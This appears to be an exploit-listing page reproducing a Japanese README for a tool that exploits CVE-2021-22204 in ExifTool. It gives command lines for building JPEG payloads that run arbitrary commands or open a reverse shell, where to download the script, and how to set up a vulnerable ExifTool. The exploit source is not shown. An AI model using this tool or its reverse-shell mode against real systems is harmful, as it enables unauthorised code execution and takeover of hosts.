Sploitus

exploit

kitploit · 2026-08-25

Exploit Code

MARKDOWN108 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-UNICORDEV-EXPLOIT-CVE-2021-22204
# CVE-2021-22204 (ExifTool) のエクスプロイト - 任意のコード実行

![GitHub CVE Cover](https://assets.kitploit.com/production/public/readmes/21405/7bd566bc662834a5b9758aa6ece2b585038b3c3f9902ec3bd40a5153eb575217.png)

**このリポジトリが気に入りましたか?⭐をお願いします!**

_教育および許可されたセキュリティ研究目的に限ります。_

## エクスプロイト作成者

@UNICORDev by (@NicPWNs and @Dev-Yeoj)

## 脆弱性の説明

ExifTool バージョン7.44以降のDjVuファイル形式におけるユーザーデータの無効化が不適切であるため、悪意のある画像を解析する際に任意のコード実行が可能になります。

## エクスプロイトの説明

このエクスプロイトを使用して、脆弱なExifToolバージョンでコード実行に使用できるJPEG画像ペイロードを生成します。カスタムコマンドを指定するか、リバースシェルを生成できます。JPEG画像が自動生成され、オプションでカスタムJPEG画像を指定してペイロードを挿入することもできます。

## 使用方法

root@kitploit:~
    
    
      python3 exploit-CVE-2021-22204.py -c <command>
      python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port>
      python3 exploit-CVE-2021-22204.py -c <command> [-i <image.jpg>]
      python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port> [-i <image.jpg>]
      python3 exploit-CVE-2021-22204.py -h
    

## オプション

root@kitploit:~
    
    
      -c    Custom command mode. Provide command to execute.
      -s    Reverse shell mode. Provide local IP and port.
      -i    Path to custom JPEG image. (Optional)
      -h    Show this help menu.
    

## ダウンロード

GitHubからexploit-CVE-2021-22204.pyをダウンロード

ExploitDBからexploit-CVE-2021-22204.pyをダウンロード

### Searchsploit (ExploitDB)

root@kitploit:~
    
    
    searchsploit -u
    searchsploit -m 50911
    

## エクスプロイトの要件

  * python3
  * djvulibre-bin
  * exiftool



## デモ

![Demo Gif](https://assets.kitploit.com/production/public/readmes/21405/428c3c0c2dbffe6b321f33f20e2a06794f911ca4e21f2092ea7ae0f872c59ac1.gif)

## テスト済み環境

Exiftool バージョン 12.23

## 適用範囲

Exiftool バージョン 7.44 - 12.23

## 脆弱な環境

root@kitploit:~
    
    
    wget https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip
    unzip exiftool-12.23.zip
    cd exiftool-12.23
    perl Makefile.PL
    make test
    sudo make install
    exiftool -ver
    

## 生成されたペイロードのテスト

root@kitploit:~
    
    
    exiftool image.jpg
    

## クレジット

  * https://hackerone.com/reports/1154542
  * https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/
  * https://nvd.nist.gov/vuln/detail/CVE-2021-22204
  * https://app.hackthebox.com/machines/Overflow
  * https://www.exploit-db.com/exploits/50911